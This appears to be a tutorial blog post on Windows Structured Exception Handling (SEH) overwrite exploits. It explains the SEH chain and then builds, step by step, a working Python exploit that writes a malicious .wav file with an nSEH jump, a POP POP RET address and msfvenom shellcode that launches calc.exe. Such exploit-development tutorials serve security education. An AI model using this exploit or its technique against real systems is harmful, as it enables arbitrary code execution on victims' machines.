Structured Exception Handling Exploits


SEH (Structured Exception Handling) is the mechanism Windows uses for exceptions.

They are implemented as a linked list, and each node contains a pointer to an exception handler.

The last node is the default handler, which crashes the application.

Thread Environment Block

The TEB is a data structure containing information about the current thread, and that includes the current SEH frame. The FS register will point to the TEB. We can access the SEH frame at FS:[0].

Make sure you have WinDBG and MSVC installed.

 1#include <cstdio>
 2#include <Windows.h>
 3int main() {
 4    __try {
 5        printf("Triggering exception.\n");
 6        volatile int *pInt = 0x00000000;
 7        *pInt = 0;
 8    }
10        printf("Handling exception.\n");
11    }
1$ cl main.cpp

Compile the code and open the executable in WinDBG. You can use !exhain to view the SEH chain, and use d FS:[0] to view the TEB.

We dump the first record in the chain and the last. Notice how each part a record contains the following:

4 bytes which point to the next handler (nSEH).

4 bytes that point to the current handler.

I have color coded the image to make it easier to see.

Using the current one as an example:

00d9f910 (10f9d900 in little endian) which is nSEH. 00061cb0 (b01c0600 in little endian) is the pointer to the handler.

Do notice how the last nSEH is FFFFFFFF. If it is reached, the application will crash.


We can overwrite the SEH record to obtain code execution.

We will use this vulnerability as an example:

The link contains a download link for the application, as well as an exploit.

The vulnerability is located on the code that parses a .wav file.

What we want to do is overwrite nSEH with a JMP instruction, and SEH with POP POP RET. The handler will be called, it will pop 8 bytes of the stack, the return will jump to where our nSEH is (which has been replaced by a JMP) is located and start executing the JMP, landing on a NOP sled and eventually our shellcode.

Now, open the application in x64dbg. The binary has anti debugging functionalities, so make sure you’re using the ScyllaHide plugin. I used msf-pattern_create to check how many bytes I needed to overwrite nSEH. We need 4132 bytes.

 1nSEH = b"\x42" * 4
 2SEH = b"\x43" * 4
 4buffer = b"\x41" * 4132
 5buffer += nSEH
 6buffer += SEH
 9with open("exploit.wav", "wb") as f:
10    f.write(buffer)

Run the script to generate the wav file and open the program under x64dbg.

Go to Batch Convert Mode and add the wav we created. When the application crashes switch to the SEH tab on the debugger.

Great! It seems we have the correct offset.

For the next steps make sure you install the ERC plugin.

Now we want to overwrite nSEH with a JMP instruction.

We can use ERC for this.

1ERC --assemble JMP 10
2JMP 10 = EB 08
1nSEH = struct.pack("<I", 0x08EB9090)

Next we will need to search the binary for a POP POP RET sequence of instructions.

Type this in the x64dbg command input:


I went with 0x0040652f.

1SEH = struct.pack("<I", 0x0040652f)

Now all that’s left is to add our shellcode. I will use msfvenom to generate it:

1msfvenom -p windows/exec CMD=calc.exe -v shellcode -f python

Now our exploit should look like this:

 1import struct
 3nSEH = struct.pack("<I", 0x08EB9090)
 4SEH = struct.pack("<I", 0x0040652f)
 5NOP = b"\x90" * 20
 7shellcode =  b""
 8shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
 9shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
10shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
11shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
12shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
13shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
14shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
15shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
16shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
17shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
18shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
19shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
20shellcode += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
21shellcode += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
22shellcode += b"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
23shellcode += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
24shellcode += b"\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c"
25shellcode += b"\x63\x2e\x65\x78\x65\x00"
27buffer = b"\x41" * 4132
28buffer += nSEH
29buffer += SEH
30buffer += NOP
31buffer += shellcode
32with open("exploit.wav", "wb") as f:
33    f.write(buffer)

Run it and try to add the file to the application. A calculator will pop up.

Built with Hugo
Theme Stack designed by Jimmy